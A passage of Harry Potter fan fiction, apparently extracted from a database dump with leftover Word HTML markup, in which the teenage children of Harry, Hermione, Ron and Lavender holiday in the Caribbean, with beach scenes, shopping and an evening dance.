Caitlyn&#8217;s boyfriend. &#8220;Probably off snogging with some other Hufflepuff.&#8221; His lip curled a bit before he could take back his words.</p>\n\n<p>&#8220;Blue!&#8221; she took her head off his shoulder and glared. &#8220;How can you say something like that?&#8221;</p>\n\n<p>&#8220;Caty, I&#8217;m sorry, but you know I don&#8217;t like that guy.&#8221; Blue had actually had no problems with him until he&#8217;d asked Caitlyn out three months before. &#8220;I don&#8217;t think he&#8217;s very trustworthy.&#8221;</p>\n\n<p>&#8220;If you&#8217;re my friend the least you can do is be civil to him. Instead you sit and glare every time he comes in the same room as you or me.&#8221; Caitlyn crossed her arms over her chest. &#8220;Besides that, you&#8217;ve barely even spoken to him, you don&#8217;t even know him.&#8221;</p>\n\n<p>&#8220;Fine, I&#8217;m sorry.&#8221; Blue was in no mood to argue with her, and he saw his mother, father and Hermione coming back outside.</p>\n\n<p>&#8220;Still in one piece I see.&#8221; Lavender smiled at her nephews. &#8220;Caty your father&#8217;s just signing the form; we can start loading the luggage in that van over there.&#8221; </p>\n\n<p>&#8220;Already taken to the weather I see.&#8221; Ron grinned at Caitlyn. &#8220;Blue you look a little warm in that jumper.&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; Blue replied, grabbing a suitcase and lugging it over to the van. He hated the fact that the girl he was head over heels for was dating another guy, and he could only hope that it wasn&#8217;t a serious relationship.</p>\n\n<p>They all clambered into the van, Harry and Hermione taking the two front seats, Ron, Lavender and Will taking the middle, and Caitlyn, Blue and Colin squeezing into the back. </p>\n\n<p>Caitlyn looked out the window as the scenery flashed by, her mind still on what Blue had said. She couldn&#8217;t understand why he disliked Ryan so much, and it bothered her.</p>\n\n<p>&#8220;Caty?&#8221; Blue said softly. </p>\n\n<p>&#8220;Hmm?&#8221; she asked, her tone a bit cool.</p>\n\n<p>&#8220;I&#8217;m sorry for what I said back there.&#8221; Blue tugged at his collar. He didn&#8217;t have to like Ryan, but he wouldn&#8217;t insult the guy in front of her anymore. &#8220;I shouldn&#8217;t have said those things.&#8221;</p>\n\n<p>Caitlyn felt better; a smile broke across her face. &#8220;Thanks Blue.&#8221; She said gratefully. He slipped an arm around her shoulders and squeezed gently.</p>\n\n<p>&#8220;I don&#8217;t like it when you&#8217;re mad at me.&#8221; Blue grinned too. &#8220;Who else would do my homework for me then?&#8221; Caitlyn giggled at this and leaned into his side, resting her head on his shoulder.</p>\n\n<p>Her scent of wildflowers drifted to his nose again as they drove on down a busy main street. Blue could catch glimpses of the ocean between the shops and hotels, there were also extremely large boats bobbing on the water.</p>\n\n<p>&#8220;Wow what are those?&#8221; he asked, pointing with his free hand towards the ships. </p>\n\n<p>&#8220;Cruise ships.&#8221; Caitlyn answered. &#8220;People can spend a week or two on those, like we&#8217;re doing on the island.&#8221;</p>\n\n<p>&#8220;Wow.&#8221; Colin was impressed as well. &#8220;Dad can we go on one of those instead?&#8221;</p>\n\n<p>&#8220;How about once you learn to swim on your own?&#8221; Harry teased, grinning at his son in the rear view mirror. Will started to laugh and Colin sat back in a pout. </p>\n\n<p>Minutes later, Harry was pulling into the large hotel that was to be their home for the next week. He parked the car to the side and Blue felt a tug in his stomach when Caitlyn moved away from his arm.</p>\n\n<p>&#8220;Harry this is great.&#8221; Hermione moved beside her husband and grinned at him. The warm air and tropical atmosphere made her feel very light and happy.</p>\n\n<p>&#8220;Isn&#8217;t it?&#8221; he grinned back and pulled her against his side, giving her a quick kiss. &#8220;We should save it for after we&#8217;ve checked in.&#8221; he murmured softly. Hermione smiled and shivered at the feel of his breath on her ear. </p>\n\n<p>&#8220;I don&#8217;t think our daughter would be amused to see us start up again right here in a parking lot.&#8221; She said quietly. Harry laughed as he went to help Ron unload suitcases.</p>\n\n<p>Caitlyn stared around in awe when they all got in the hotel lobby. It was spacious and airy, with a bar alongside one wall, a piano near the other side of the room, and best of all, French doors leading outside to the beach.</p>\n\n<p>&#8220;Just <i>look</i> at this place!&#8221; she said quietly to Blue. He nodded.</p>\n\n<p>&#8220;It&#8217;s great.&#8221; He said. &#8220;But I really can&#8217;t wait to get out on the beach.&#8221;</p>\n\n<p>&#8220;Oh me neither.&#8221; Caitlyn agreed fervently. &#8220;We should go throw our suits on and go right out there.&#8221;</p>\n\n<p>&#8220;I&#8217;m game.&#8221; Blue said, more interested in seeing her in a bathing suit rather than the beach itself.</p>\n\n<p>&#8220;First I have to find my beach stuff&#8230;&#8221; Caitlyn looked woefully at her suitcase. &#8220;I packed so much.&#8221;</p>\n\n<p>&#8220;That&#8217;s why I&#8217;m glad to be a guy.&#8221; Blue boasted. &#8220;I only need a few things to last me a week!&#8221;</p>\n\n<p>&#8220;Whatever Blue.&#8221; Caitlyn waved her hand dismissively. She walked out further into the lobby and peered down a hallway to her left. &#8220;Mum! There are shops down there!&#8221;</p>\n\n<p>Hermione smiled at her daughter, always curious as to where her love of shopping had come from. Harry was finishing the check in form and Ron was copying whatever he had written down. They had requested adjoining rooms, and were all pleased to find out that they would be facing the beach.</p>\n\n<p>&#8220;Drop those bags by the closet, Harry, and bring that suitcase over here.&#8221; Hermione ordered as she unlocked the door between the two rooms. &#8220;Ron!&#8221; she knocked on the other door. &#8220;Open up!&#8221;</p>\n\n<p>&#8220;Hey!&#8221; Ron&#8217;s grinning face appeared in the doorway. Lavender was behind him, rummaging through her suitcase. &#8220;Lav&#8217;s just finding our swimming costumes and we&#8217;re going right out there.&#8221;</p>\n\n<p>&#8220;I think I&#8217;m going to unpack&#8230;&#8221; Hermione started to say but was interrupted by howls of disappointment from the rest of her family.</p>\n\n<p>&#8220;No way Mum, I&#8217;m going out with them.&#8221; Caitlyn crossed her arms. Colin followed suit and Harry grinned at his wife.</p>\n\n<p>&#8220;I think you&#8217;re outnumbered love.&#8221; He said. Hermione fought a smile into a frown.</p>\n\n<p>&#8220;I&#8217;m not living out of a suitcase for a week.&#8221; She said. &#8220;If we go out now, you all help me unpack later.&#8221;</p>\n\n<p>Ron started laughing as Harry reluctantly agreed. Hermione shut the door and began digging through the suitcases.</p>\n\n<p>&#8220;I get first dibs on the bathroom!&#8221; Caitlyn had pulled her new swimsuit from her bag and was inside the lavatory before anyone could object. </p>\n\n<p>After she had tied on her new black bikini, she went to work at twisting her long hair up so that it wasn&#8217;t in the way while she worked on her tan. Pulling a pair of shorts on, she left the bathroom. &#8220;Isn&#8217;t everyone ready yet?&#8221;</p>\n\n<p>&#8220;Almost, love.&#8221; Harry said, tugging on his daughter&#8217;s brown locks. &#8220;Much as I&#8217;d love to toss your brother in the ocean with all this clothes on&#8230;&#8221; he caught Hermione&#8217;s eye and hastily shut up. &#8220;As I was saying, we&#8217;re almost ready.&#8221;</p>\n\n<p>Caitlyn busied herself with finding her sunglasses, suntan oil, and reading material. She had been unable to bring any of her wizarding magazines or books, so the day after she had gotten home from school her mother had taken her into Muggle London for &#8216;supplies&#8217;. Caitlyn enjoyed spending as much time as she could with her mother, who was often a co conspirator in playing jokes on her father.</p>\n\n<p>Her mother was coming out of the bathroom now, a long pale yellow sundress on over her bathing suit. Harry followed, and then Colin changed as well. </p>\n\n<p>Blue pulled a white t shirt over his head and ran his hand through his hair. He was dying to get out on the beach, but he was even more eager to see his best friend in a bathing suit. She had told him that her mother had taken her shopping, but had not specified on how much skin she would be showing.</p>\n\n<p>&#8220;Blue? Are you dressed?&#8221; His mother was knocking on the door. He could hear his father trying to calm an overactive Will down. </p>\n\n<p>&#8220;Almost.&#8221; He replied. </p>\n\n<p>&#8220;We&#8217;re meeting Harry and Hermione down there.&#8221; Lavender said. &#8220;Your cousin is anxious to get in the water.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Blue opened the door. He staggered back and started laughing as Will attached himself to his legs. &#8220;I&#8217;m going to dunk you so bad.&#8221; He grinned down at his cousin. Picking the smaller boy up, he tossed him over his shoulder and headed for the balcony doors. One of the benefits of staying on the ground floor was that they could walk straight outside to the beach. </p>\n\n<p>Blue walked unsteadily over the warm sand towards an empty spot. He dropped his cousin down and began to toss large handfuls of sand at him.</p>\n\n<p>&#8220;Blue!&#8221; Will sputtered, waving his hands to ward off the sand. Ron was laughing as he walked up and dropped his wife&#8217;s bag next to the boys.</p>\n\n<p>&#8220;Why are you playing in the sand, you should be down in that water.&#8221; He grinned down at his son and nephew. </p>\n\n<p>&#8220;Where did Mum go?&#8221; Blue asked, shielding his eyes from the glare of the sun. He&#8217;d have to have Caitlyn take him to get some of those sunglasses she had been wearing earlier.</p>\n\n<p>&#8220;To get some towels for us.&#8221; Ron replied. He sat down next to the boys. &#8220;This is gorgeous isn&#8217;t it? I&#8217;m glad now I let Harry and Hermione talk us into coming.&#8221;</p>\n\n<p>&#8220;Me too.&#8221; Blue agreed, but for an entirely different reason. Caitlyn was walking towards them, her brother tagging along beside her. She wore a black bikini top and shorts, her legs bare, her hair tied back&#8230; he had to forcibly shut his jaw at the sight.</p>\n\n<p>&#8220;Harry! Hermione! Over here!&#8221; Ron was waving his arms, oblivious to his son&#8217;s gaze. Blue swallowed hard and looked down, digging his large toe in the sand. Perhaps this vacation wasn&#8217;t going to be as easy as he had thought.</p>\n\n<p>Caitlyn dropped her bag down on the sand and sat down next to her best friend, grinning widely. &#8220;Are you going for a swim?&#8221; she asked as she began to unbutton her shorts.</p>\n\n<p>&#8220;Uh&#8230;&#8221; Blue gulped and tried not to look at her legs as she slid the shorts down. &#8220;That might be a good idea, I&#8217;m getting hot already.&#8221; </p>\n\n<p>&#8220;Come on silly!&#8221; Caitlyn reached over and tugged on his shirt. He pulled it over his head, wishing he wasn&#8217;t so pale. Hopefully a few days in the sun would take care of that.</p>\n\n<p>&#8220;Neither one of you is going anywhere without putting some of this on.&#8221; Hermione had joined them and she and Lavender each dumped a stack of blue towels on the sand. She pulled a bottle of suntan lotion from her bag and tossed it to her daughter.</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn replied. She unscrewed the cap and squeezed some in her hand. &#8220;Blue, will you do my back?&#8221;</p>\n\n<p>&#8220;I uh&#8230; sure&#8230;&#8221; Blue said after a moment. He put some lotion in his hands and began to rub it onto her skin, trying not to show how much he was enjoying himself. He purposefully worked his hands slowly over her back and shoulders, wanting the moment to go on. &nbsp;&#8220;Is that good enough?&#8221; he asked a few minutes later.</p>\n\n<p>&#8220;Yes, thanks.&#8221; Caitlyn said, turning around. &#8220;Now I&#8217;ll do you.&#8221;</p>\n\n<p>&#8220;I wish.&#8221; Blue muttered under his breath.</p>\n\n<p>&#8220;What did you say?&#8221; she asked curiously.</p>\n\n<p>&#8220;I said&#8230;. I hope we see some fish.&#8221; Blue said quickly. &#8220;There are supposed to be some real big ones out there.&#8221;</p>\n\n<p>&#8220;Ugh, I hope not too big.&#8221; Caitlyn shuddered. She placed her lotion covered hands on his shoulders and began to massage the sticky stuff into his skin. &#8220;Yuck this stuff smells awful. We&#8217;ll have to buy a different kind in the shop later.&#8221; </p>\n\n<p>&#8220;Sure.&#8221; He said as she finished up. &#8220;Ready?&#8221;</p>\n\n<p>&#8220;Yes!&#8221; Caitlyn jumped up and grabbed for his hand. &#8220;We&#8217;re going down to the water!&#8221; she called over her shoulder as she dragged Blue down to the shore. &#8220;I hope it&#8217;s not too cold.&#8221; She said, stopping at the water&#8217;s edge.</p>\n\n<p>&#8220;I&#8217;ll bet it is.&#8221; Blue said, grinning devilishly. Before Caitlyn knew it, Blue had scooped her up in his arms and had tossed her in.</p>\n\n<p>&#8220;RONALD WEASLEY JR.!&#8221; She screamed as soon as she had surfaced. Blue was still standing on the sand, bent over laughing. &#8220;You&#8217;re going to pay for that!&#8221;</p>\n\n<p>Blue was still laughing when Caitlyn jumped up and yanked on his arm, making him fall headfirst into the ocean along with her.&nbsp; &#8220;Hey!&#8221; he shouted, no longer laughing.</p>\n\n<p>It was her turn to look smug. &#8220;I win.&#8221; She said, reaching back and pulling the tie from her hair, flinging her wet locks around.</p>\n\n<p>&#8220;Only because I let you.&#8221; Blue replied, grinning again. She splashed him and he reached forward and dunked her head under the water. </p>\n\n<p>&#8220;BLUE!&#8221; she came back up sputtering his name. Both of them were laughing now as she dove forward and trapped his body under hers. Colin and Will joined them moments later and they all took turns jumping into the swells and dunking each other.</p>\n\n<p>&#8220;They&#8217;re certainly all having fun.&#8221; Hermione smiled at her husband as she stretched out in one of the lounge chairs that he and Ron had just dragged over.</p>\n\n<p>&#8220;They sure are.&#8221; Harry replied, reaching for his wife&#8217;s hand. He squeezed it lightly as he settled down in the chair next to hers. &#8220;Want to join them?&#8221;</p>\n\n<p>&#8220;Goodness no, Harry!&#8221; Hermione replied. &#8220;I&#8217;m certainly in no state to jump around in the ocean like a teenager.&#8221;</p>\n\n<p>&#8220;Hermione, you&#8217;re pregnant not a hundred years old.&#8221; Ron teased from the chair on the other side of her. &#8220;You can still swim until you get to be overweight.&#8221;</p>\n\n<p>&#8220;Honestly Ron!&#8221; Hermione and Lavender both gave him dirty looks. </p>\n\n<p>&#8220;Never make fun of a pregnant woman!&#8221; Lavender frowned at her husband. &#8220;Have you forgotten what happened while I was pregnant with Blue?&#8221; </p>\n\n<p>&#8220;No.&#8221; Ron said quickly. &#8220;Sorry Harry, you&#8217;re on your own now.&#8221; They all laughed.</p>\n\n<p>Blue picked Will up under one arm and Colin in the other. &#8220;I told you both I was going to dunk you.&#8221; Caitlyn laughed as he waded out into deeper water and dropped the two young boys in. </p>\n\n<p>&#8220;Ha!&#8221; Caitlyn grabbed her brother around the waist. &#8220;Payback!&#8221; </p>\n\n<p>&#8220;Hey!&#8221; Colin sputtered, trying to push her away. &#8220;You&#8217;re bigger than me! No fair!&#8221;</p>\n\n<p>Blue grinned wickedly. &#8220;But I&#8217;m bigger than her!&#8221; He pulled her up and against his body, enjoying the way her curves fit against him. </p>\n\n<p>&#8220;BLUE!&#8221; she screamed as her brother and Will grinned. Caitlyn kicked out at them, but it was in vain as the two boys grabbed on and began tickling her. Blue laughed and moved back into deeper water, not letting up on his tight hold. Her body was cool from the water, and he liked the way she was moving against him. </p>\n\n<p>&#8220;Bloody&#8230;. Hell&#8230;&#8221; Caitlyn managed to gasp out. Thrashing around, she caused Blue to lose his balance and they both fell back. Laughing as they both rose out of the water; Caitlyn shook her hair out of her face. &#8220;Come on let&#8217;s go back up to the beach.&#8221;</p>\n\n<p>&#8220;All right.&#8221; They waded back; Colin and Will decided to stay and play near the shore. Caitlyn arranged her towel on the chair and then laid back, fishing around in her bag for her sunglasses. </p>\n\n<p>&#8220;I need to get some of those.&#8221; Blue&#8217;s voice came from her right. &#8220;It&#8217;s so bloody bright out here.&#8221;</p>\n\n<p>&#8220;Oooh&#8230; shopping.&#8221; She grinned at him and he rolled his eyes. </p>\n\n<p>&#8220;Not that kind of shopping!&#8221; Blue was quick to say. &#8220;I&#8217;m not moving off this chair for awhile.&#8221;</p>\n\n<p>&#8220;Fine, fine.&#8221; Caitlyn relented, leaning back down. She adjusted herself on the lounge, oblivious to her best friend&#8217;s gaze. She thought briefly about her boyfriend back in cold, rainy <st1:country-region><st1:place>England</st1:place></st1:country-region> for a little while before she drifted off into a light slumber.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;No!&#8221; Caitlyn pushed the shark tooth necklace away. &#8220;I told you, I&#8217;m not buying him something cheap!&#8221; she frowned at her best friend. </p>\n\n<p>Blue sighed as she turned and marched out the door. He was regretting his offer to go to the downtown area and shop with her. For one thing, she&#8217;d had to put on a shirt over that tiny black bikini, and for another, he absolutely hated shopping, especially since she was intent on finding the &#8216;perfect&#8217; gift for that bloody Hufflepuff idiot she was dating. </p>\n\n<p>&#8220;Come on, slowpoke!&#8221; she pulled on his arm and they entered a jewellery store. Caitlyn immediately began browsing through the displays.</p>\n\n<p>&#8220;Why are we in here?&#8221; Blue whined. The last place he wanted to be was in there looking for jewellery for another guy.</p>\n\n<p>&#8220;Come here.&#8221; Caitlyn ignored his moaning. She pointed to a display of thick silver rings. &#8220;Do you think he&#8217;d like any of those?&#8221;</p>\n\n<p>&#8220;Probably.&#8221; Blue leaned on the glass and then straightened back up as a clerk came over.</p>\n\n<p>&#8220;Can I help you?&#8221; the woman asked, straightening her name pin.</p>\n\n<p>&#8220;Umm&#8230;.&#8221; Caitlyn bit her lower lip. She wasn&#8217;t sure if getting Ryan a ring was too pushy of her, but she wanted to get him something nice. &#8220;Can we see those rings?&#8221;</p>\n\n<p>Blue sighed as he crossed his arms over his torso, he was bored. The rings were actually quite nice, not girlish at all. </p>\n\n<p>&#8220;Blue you and Ryan are the same size can you try these on?&#8221; she asked.</p>\n\n<p>&#8220;Sure.&#8221; He agreed, a bit unwillingly. A bit of a tingle went through him when she took his hand and slid the ring over his finger. It was a neat ring, with a pattern interwoven completely around the circle.</p>\n\n<p>&#8220;Do you like it?&#8221; she asked, after looking at it from different angles. &#8220;Do you think Ryan will like it?&#8221;</p>\n\n<p>&#8220;Probably, and yes, I like it.&#8221; Blue replied. </p>\n\n<p>&#8220;Should I get it for him?&#8221; Caitlyn asked.</p>\n\n<p>&#8220;If you think he&#8217;ll like it and you have enough money, then yes.&#8221; Blue said, not wanting to think about her getting jewellery for someone else.</p>\n\n<p>&#8220;All right.&#8221; Caitlyn said as she took the ring off. The clerk rang it up for her and put it in a box, and the two of them left the store.</p>\n\n<p>They walked back along the sidewalk in silence, until they left the town behind. Caitlyn figured out how much money she had left, then looked at her best friend.</p>\n\n<p>&#8220;You think I&#8217;m stupid for spending that much, don&#8217;t you.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t say that.&#8221; Blue denied. &#8220;I think it&#8217;s a nice ring.&#8221;</p>\n\n<p>They looked at each other for a long moment as they walked on. &#8220;All right.&#8221; She finally said. &#8220;Thanks for coming with me though. I know you hate shopping.&#8221;</p>\n\n<p>Blue grinned. &#8220;You can make it up to me later.&#8221;</p>\n\n<p>&#8220;Oh no.&#8221; They arrived back at the hotel still joking around and talking. Heading for their rooms, they found their families unpacking and getting themselves ready for dinner.</p>\n\n<p>&#8220;Did you find a gift Caitlyn?&#8221; Hermione asked as Caitlyn let herself in the hotel room.</p>\n\n<p>&#8220;Yes.&#8221; She replied, dropping her bags down next to the wall. &#8220;Do you think he&#8217;ll like this?&#8221; she showed her mother the ring.</p>\n\n<p>&#8220;That&#8217;s very nice.&#8221; Hermione said. &#8220;Your father is in the bathroom helping your brother get ready for dinner, we have reservations at seven.&#8221;</p>\n\n<p>&#8220;I should hurry then.&#8221; Caitlyn began rummaging through her suitcase. &#8220;Where is my dress??&#8221;</p>\n\n<p>&#8220;I hung it up for you.&#8221; Hermione replied, touching on a bit of makeup in front of the mirror. &#8220;It&#8217;s in the closet.&#8221;</p>\n\n<p>&#8220;Oh thanks Mum.&#8221; Caitlyn pulled a pair of strappy sandals out and then grabbed the dress from the closet. &#8220;Hellooooo&#8230; I need to get ready!&#8221; she knocked on the bathroom door.</p>\n\n<p>&#8220;Maybe we should have gotten a suite.&#8221; Harry said as he and his son came back into the room.</p>\n\n<p>&#8220;Funny, Dad.&#8221; Caitlyn pushed past him and closed the bathroom door. </p>\n\n<p>Harry grinned and then looked at his wife. &#8220;Did she find what she wanted?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; Hermione replied, running her hand through Colin&#8217;s hair.</p>\n\n<p>&#8220;Good.&#8221; Harry sat down on the edge of the bed. &#8220;This means we don&#8217;t have to spend the rest of the vacation shopping.&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; Colin piped up. &#8220;I don&#8217;t like it when Caty goes shopping, she takes too long.&#8221;</p>\n\n<p>Harry and Hermione were both still laughing when their daughter came out. &#8220;What&#8217;s so funny?&#8221; Caitlyn asked as she set her clothes back in her suitcase.</p>\n\n<p>&#8220;Oh nothing.&#8221; Harry said, his eyes still twinkling. &#8220;Are you ready?&#8221;</p>\n\n<p>&#8220;Almost.&#8221; Caitlyn rushed back into the bathroom.</p>\n\n<p>&#8220;Aren&#8217;t you ready yet?&#8221; Ron was poking his head through the adjoining door.</p>\n\n<p>&#8220;We&#8217;re waiting on Caty.&#8221; Colin said. &#8220;My dad says she takes too long to get dressed.&#8221;</p>\n\n<p>&#8220;I never said that!&#8221; Harry looked down at his son. &#8220;You little&#8230;&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Hermione stood up. &#8220;Ron, is Lavender ready?&#8221;</p>\n\n<p>&#8220;No.&#8221; Ron turned and looked back into the room. &#8220;She&#8217;s still in the bathroom.&#8221;</p>\n\n<p>&#8220;Then why are you in here bugging us?&#8221; Harry asked as Will tore past Ron and into their room.</p>\n\n<p>&#8220;Because I&#8217;m bored waiting for her to GET READY!&#8221; Ron turned and shouted these last words at his closed bathroom door. Blue appeared behind his father, pushing him out of the way. Ron stumbled towards the bed and then sprawled out on it, tucking his hands behind his head.</p>\n\n<p>&#8220;Why don&#8217;t you make yourself comfortable Ron?&#8221; Harry asked sarcastically.</p>\n\n<p>&#8220;I think I will.&#8221; Ron replied, grinning obnoxiously.</p>\n\n<p>&#8220;Why don&#8217;t you boys go wait for us in the lobby?&#8221; Hermione finally spoke up. &#8220;I&#8217;ll wait for Lavender and Caitlyn while you have a drink.&#8221; She said reasonably.</p>\n\n<p>&#8220;Sounds good to me.&#8221; Harry was relieved to get out of the room. He and Ron took the boys, Blue tagging along behind them.</p>\n\n<p>Hermione shook her head as the door closed. She had no sooner sat on the bed when the bathroom door opened and her daughter came out.</p>\n\n<p>&#8220;Did everyone leave?&#8221; she asked, looking around at the empty room. </p>\n\n<p>&#8220;No, your father went to the lobby.&#8221; Hermione replied. &#8220;We&#8217;re just waiting on Lavender now.&#8221;</p>\n\n<p>&#8220;Were they complaining again?&#8221; Lavender had come into their room.</p>\n\n<p>&#8220;Of course.&#8221; Hermione said. &#8220;It&#8217;s like they want us women to look nice yet they get mad when we take a long time.&#8221; They all laughed and headed out to the lobby.</p>\n\n<p>Blue sat down next to his cousin and Colin as his father and Harry went over to the bar. He wondered how much longer it would take his mother and best friend to get ready, as he was getting very hungry. There was a bowl with what looked like a snack mix of some sort in the middle of the table, and he eagerly reached for it and began shoving handfuls in his mouth.</p>\n\n<p>&#8220;Don&#8217;t spoil your dinner Blue.&#8221; Ron said from across the table as he sat down with Harry, both men with a beer in their hand. &#8220;Apparently the fish down here is excellent.&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; Blue said, stuffing another handful in his mouth. &#8220;I got your stomach, remember? It never fills.&#8221; Harry snorted back his laughter while Ron didn&#8217;t bother to hide his amusement. &nbsp;He was reaching for another handful when he saw his mother, Hermione, and Caitlyn emerge from the hallway. </p>\n\n<p>&#8220;Damn&#8230;&#8221; he muttered quietly to himself. His best friend had managed to put herself into a slim cut jade green dress that left nearly nothing to the imagination. He sneaked a peek at Harry to see what his reaction to his daughter&#8217;s clothing would be. Blue saw his eyes travel briefly over her, then light up as he saw his wife.</p>\n\n<p>&#8220;Are you ready?&#8221; Harry asked, draining the rest of his beer. Blue dropped the fistful of mix back into the bowl and stood up, barely able to take his eyes off Caitlyn.</p>\n\n<p>&#8220;You look nice.&#8221; He said quietly in her ear. Her scent of wildflowers drifted up to his nose and he took in a long, silent breath.</p>\n\n<p>&#8220;Thank you.&#8221; She turned to him. &#8220;You look great too.&#8221; He was wearing a blue striped shirt with dark blue dress trousers. &#8220;We never get to get dressed up like this, it&#8217;s fun.&#8221;</p>\n\n<p>&#8220;Yeah, it&#8217;s cool.&#8221; Blue ran his hand through his hair. He regained his usual easy smile and offered her his arm, bowing slightly. &#8220;May I have the honour of escorting this lovely lady to dinner?&#8221;</p>\n\n<p>Caitlyn rolled her eyes but was unable to suppress her smile. &#8220;Of course.&#8221; She demurred, playing along. They followed their parents out of the hotel, with Colin and Will sniggering behind them.</p>\n\n<p>&#8220;Will, hold my hand.&#8221; Colin said in a high voice, obviously imitating his sister. &#8220;I can&#8217;t walk by myself!&#8221;</p>\n\n<p>Caitlyn turned around and glared at her brother. &#8220;Bugger off.&#8221; Colin made a face at her and she shook her head. &#8220;He&#8217;s such a brat.&#8221;</p>\n\n<p>&#8220;Wish I had two just like him.&#8221; Blue muttered and they both laughed.</p> '),
	(80, 7, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="cbcarib2_files/filelist.xml">\n\n<title>Caribbean Vacation Part 2</title>\n\n<xml> Heaven Normal Heaven 1 1 2003-09-04T03:12:00Z 2003-09-04T03:13:00Z 1 3945 22493 187 52 26386 10.2625 </xml><xml> Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>*** Almost One Week Later***</p>\n\n<p>&#8220;I&#8217;m so glad we got our parents to let us stay out.&#8221; Caitlyn said as they waved goodbye to their families. &#8220;I mean, we haven&#8217;t gotten to meet anyone our age yet, and we&#8217;re bloody leaving tomorrow!&#8221;</p>\n\n<p>&#8220;Wish we didn&#8217;t have to go so soon.&#8221; Blue replied as they turned and headed back towards the bar area where lots of teenagers were milling about. Almost subconsciously, he put his arm around her and let his hand graze her bare, tanned shoulders. Blue wasn&#8217;t sure if it was just him, but he thought that he and Caitlyn were more touchy feely than they usually were back at home or school. They&#8217;d been (sometimes purposefully, at least on his part) brushing up against one another often over the past week, yet she had given no indication why on her part if her feelings for him were anything other than platonic.</p>\n\n<p>Tonight she was wearing a strapless black dress that had made her father glare when she came into the lobby, with her long dark hair loose. He had on a plain white shirt with some dark dress trousers, his hair falling casually over his forehead. Personally, Blue thought they looked like a couple with the way they dressed alike, but he didn&#8217;t tell her that.</p>\n\n<p>&#8220;Come on you,&#8221; Caitlyn tugged at his hand, pulling him to the bar that was located on the seashore. &#8220;The band is going to start up in a minute.&#8221;</p>\n\n<p>&#8220;I&#8217;m not dancing.&#8221; Blue said flatly as they found a few seats. </p>\n\n<p>&#8220;Oh why not?&#8221; she whined. &#8220;You never dance!&#8221;</p>\n\n<p>&#8220;Because I <i>can&#8217;t</i>.&#8221; Blue replied. &#8220;And besides that, I hate it.&#8221;</p>\n\n<p>&#8220;Well, dance at least <i>once</i>, please?&#8221; Caitlyn widened her eyes, and pushed her lower lip out in a fake pout.</p>\n\n<p>Blue rolled his eyes, she knew full well that he was unable to deny her much, it was even worse when she pulled the fake pout routine. &#8220;Maybe,&#8221; he conceded, knowing that she would probably get him out there at least once that evening.</p>\n\n<p>&#8220;Good,&#8221; Caitlyn said, grinning smugly. &#8220;Are you thirsty?&#8221;</p>\n\n<p>&#8220;A little,&#8221; he answered. &#8220;Why, are you buying?&#8221;</p>\n\n<p>&#8220;I suppose,&#8221; Caitlyn replied, sticking her tongue out at him. &#8220;What do you want?&#8221;</p>\n\n<p>&#8220;Surprise me,&#8221; Blue said. &#8220;I wish we didn&#8217;t just have to stick to Coke though.&#8221;</p>\n\n<p>&#8220;Me either,&#8221; Caitlyn wrinkled her nose as she got up and went to the bar. Blue watched her go, not taking his eyes off how her hips swayed as she walked. </p>\n\n<p>She asked the bartender for two Cokes and waited patiently. More people were starting to arrive at the bar, and the music the band was playing was fantastic. Unconsciously moving in time to the tune, she was unaware of the person coming up beside her. As the bartender finally brought her drinks over, Caitlyn turned and nearly fell over at the sight next to her.</p>\n\n<p>A Greek God, he had to be, clothed in black silky trousers and a white satiny button shirt. His dark hair fell into his almost black eyes, and when he smiled at her (oh the SMILE) he had perfect straight white teeth. </p>\n\n<p>&#8220;Hello,&#8221; he said, and his voice was as smooth as the rest of his body. &#8220;I saw you standing here alone and I just <i>had</i> to come over and introduce myself.&#8221;</p>\n\n<p>&#8220;Really?&#8221; her voice came out squeaky and she cleared her throat. &#8220;Really?&#8221; Caitlyn asked again, her voice more normal this time.</p>\n\n<p>&#8220;Well it&#8217;s not often I see such a beautiful woman.&#8221; He took one of the glasses from her hand and set it on the bar, then raised her fingers and kissed them. &#8220;I&#8217;m Dimitri.&#8221;</p>\n\n<p>&#8220;Hi&#8230;.&#8221; She managed. &#8220;I&#8217;m&#8230; I&#8217;m&#8230; Caitlyn,&#8221; she managed to stutter her name. </p>\n\n<p>&#8220;It&#8217;s a pleasure,&#8221; Dimitri replied, giving her a smile again that almost made her fall over. He smoothly lifted her hand running his thumb over her fingers, &quot;Dance with me.&quot; </p>\n\n<p>&quot;Sure...&quot; she almost stuttered as he led her out to the floor. He pulled her body up right against his and when he smiled at her again she felt her knees turn to jelly.</p>\n\n<p>Blue was sitting back, glaring angrily across the dance floor at Caitlyn and the guy she was dancing with. If he looked on the bright side, it meant that she wasn\'t as serious about Ryan as he had previously thought, but at the same time... he wasn\'t the one dancing with her. Blue got up; ready to go across the floor and tell Caitlyn he was ready to dance with her now. He hated dancing but if it got her away from that creep... A light touch landed on his shoulder and he spun around to face a pretty brown haired girl about a head shorter than him.</p>\n\n<p>She smiled looking up at him &quot;Hello, I was wondering if you\'d like to dance... with me?&quot;</p>\n\n<p>Blue felt his face turn red. &quot;Oh... um... you know, I\'m really not that good of a dancer.&quot; He smiled sheepishly. &quot;I tend to step on feet a 